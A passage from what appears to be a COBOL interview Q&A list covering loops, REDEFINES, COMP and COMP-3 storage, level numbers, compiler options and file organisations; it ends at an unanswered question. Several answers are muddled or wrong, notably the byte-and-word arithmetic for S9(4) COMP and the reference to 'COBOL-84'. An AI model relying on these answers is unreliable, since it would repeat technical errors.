<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">How many times will b-para be executed ?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. 5 Times only. it will not take the value 10 that is initialized in the loop. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">109.What are some examples of command terminators? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. END-IF, END-EVALUATE </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">110.What care has to be taken to force program to execute above 16 Meg line? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Make sure that link option is AMODE=31 and RMODE=ANY. Compile option should never have SIZE(MAX).BUFSIZE can be 2K, efficient enough. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">111.Give some advantages of REDEFINES clause. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. You can REDEFINE a Variable from one PICTURE class to another PICTURE class by using the same memory location. By REDEFINES we can INITIALISE the variable in WORKING-STORAGE Section itself.3. We can REDEFINE a Single Variable into so many sub-variables.(This facility is very useful in solving Y2000 Problem.) </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">112.Why do we code s9(4)comp. Inspite of knowing comp-3 will occupy less space. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Here s9(4)comp is small integer ,so two words equal to 8 bytes. Totally it will occupy 2 bytes(4 words).here in s9(4) comp-3 as one word is equal to 1/2 byte.4 words equal to 2 bytes and sign will occupy 1/2 bytes totally it will occupy 3 bytes. </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">113.The maximum number of dimensions that an array can have in COBOL-85 is ________. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Answer: SEVEN in COBOL &#8211; 85 and THREE in COBOL &#8211; 84 </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">114.Name the divisions in a COBOL program. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. IDENTIFICATION DIVISION, ENVIRONMENT DIVISION, DATA DIVISION, PROCEDURE DIVISION. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">115.What are the different data types available in COBOL?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Alpha-numeric (X), alphabetic (A) and numeric (9).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">116.What is 77 level used for ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Elementary level item. Cannot be subdivisions of other items (cannot be qualified), nor can they be subdivided themselves.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">117.What is 88 level used for ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. For defining condition names.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">118.What is level 66 used for ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. For RENAMES clause.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">119.What does the IS NUMERIC clause establish?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. IS NUMERIC can be used on alphanumeric items, signed numeric &amp; packed decimal items and unsigned numeric &amp; packed decimal items. IS NUMERIC returns TRUE if the item only consists of 0-9. However, if the item being tested is a signed item, then it may contain 0-9, + and &#8211; .</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">120.My program has an array defined to have 10 items. Due to a bug, I find that even if the program access the 11th item in this array, the program does not abend. What is wrong with it?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Must use compiler option SSRANGE if you want array bounds checking. Default is NOSSRANGE.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">121. What is the difference between performing a SECTION and a PARAGRAPH? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Performing a SECTION will cause all the paragraphs that are part of the section, to be performed. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Performing a PARAGRAPH will cause only that paragraph to be performed.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">122.Can I redefine an X(200) field with a field of X(100) ?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l45 level1 lfo54; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Yes. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">123.What does EXIT do?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Does nothing ! If used, must be the only sentence within a paragraph.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">124.Can I redefine an X(100) field with a field of X(200)?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Yes. Redefines just causes both fields to start at the same location. For example:</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 WS-TOP PIC X(1)</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 WS-TOP-RED REDEFINES WS-TOP PIC X(2).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">If you MOVE &#8216;12&#8242; to WS-TOP-RED, </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">DISPLAY WS-TOP will show 1 while </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">DISPLAY WS-TOP-RED will show 12. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">125.Can I redefine an X(200) field with a field of X(100) ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Yes.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">126.What do you do to resolve SOC-7 error? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Basically you need to correcting the offending data. Many times the reason for SOC7 is an un-initialized numeric item. Examine that possibility first. Many installations provide you a dump for run time abends ( it can be generated also by calling some subroutines or OS services thru assembly language). These dumps provide the offset of the last instruction at which the abend occurred. Examine the compilation output XREF listing to get the verb and the line number of the source code at this offset. Then you can look at the source code to find the bug. To get capture the runtime dumps, you will have to define some datasets (SYSABOUT etc ) in the JCL. If none of these are helpful, use judgement and DISPLAY to localize the source of error. You may even use batch program debugging tools. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">127.How is sign stored in Packed Decimal fields and Zoned Decimal fields?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Packed Decimal fields: Sign is stored as a hex value in the last nibble (4 bits ) of the storage. Zoned Decimal fields: As a default, sign is over punched with the numeric value stored in the last bite.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">128.How is sign stored in a comp-3 field? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. It is stored in the last nibble. For example if your number is +100, it stores hex 0C in the last byte, hex 1C if your number is 101, hex 1D if the number is -101, hex 2D if the number is -102 etc&#8230; </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">129.How is sign stored in a COMP field ? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. In the most significant bit. Bit is on if -ve, off if +ve.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">130.What is the difference between COMP &amp; COMP-3 ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. COMP is a binary storage format while COMP-3 is packed decimal format.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">131.What is COMP-1? COMP-2?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l37 level1 lfo57; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COMP-1 &#8211; Single precision floating point. Uses 4 bytes. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">COMP-2 &#8211; Double precision floating point. Uses 8 bytes.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">132.How do you define a variable of COMP-1? COMP-2?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. No picture clause to be given. Example 01 WS-VAR USAGE COMP-1.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">133.How many bytes does a S9(7) COMP-3 field occupy ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Will take 4 bytes. Sign is stored as hex value in the last nibble.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">General formula is INT((n/2) + 1)), where n=7 in this example.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">134.How many bytes does a S9(7) SIGN TRAILING SEPARATE field occupy ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Will occupy 8 bytes (one extra byte for sign).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">135.What is the maximum size of a 01 level item in COBOL I? in COBOL II?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l15 level1 lfo60; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">In COBOL II: 16777215 </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">136.What is COMP SYNC?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Causes the item to be aligned on natural boundaries. Can be SYNCHRONIZED LEFT or RIGHT.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">For binary data items, the address resolution is faster if they are located at word boundaries in the memory. For example, on main frame the memory word size is 4 bytes. This means that each word will start from an address divisible by 4. If my first variable is x(3) and next one is s9(4) comp, then if you do not specify the SYNC clause, S9(4) COMP will start from byte 3 ( assuming that it starts from 0 ). If you specify SYNC, then the binary data item will start from address 4. You might see some wastage of memory, but the access to this comp field is faster. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">137.How do you reference the following file formats from COBOL programs?</span></p>
<ol type="1">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Fixed Block File &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS F, BLOCK CONTAINS 0. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Fixed Unblocked &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS F, do not use BLOCK CONTAINS. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Variable Block File &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS V, BLOCK CONTAINS 0. Do not code the 4 bytes for record length in FD. i.e. JCL record length will be max record length in program + 4 </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Variable Unblocked &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS V, do not use BLOCK CONTAINS. Do not code 4 bytes for record length in FD ie JCL rec length will be max rec length in pgm + 4. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">ESDS VSAM file &#8211; Use ORGANISATION IS SEQUENTIAL. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">KSDS VSAM file &#8211; Use ORGANISATION IS INDEXED, RECORD KEY IS, Alternate Record Key Is </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">RRDS File &#8211; Use ORGANISATION IS RELATIVE, RELATIVE KEY IS </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Printer File &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS F, BLOCK CONTAINS 0. (Use RECFM=FBA in JCL DCB). </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">138.What are different file OPEN modes available in COBOL? In which modes are the files Opened to write.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Different Open modes for files are INPUT, OUTPUT, I-O and EXTEND. Of which Output and Extend modes are used to write new records into a file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">139.In the JCL, how do you define the files referred to in a subroutine?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Supply the DD cards just as you would for files referred to in the main program.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">140.Can you REWRITE a record in an ESDS file? Can you DELETE a record from it?</span></p>
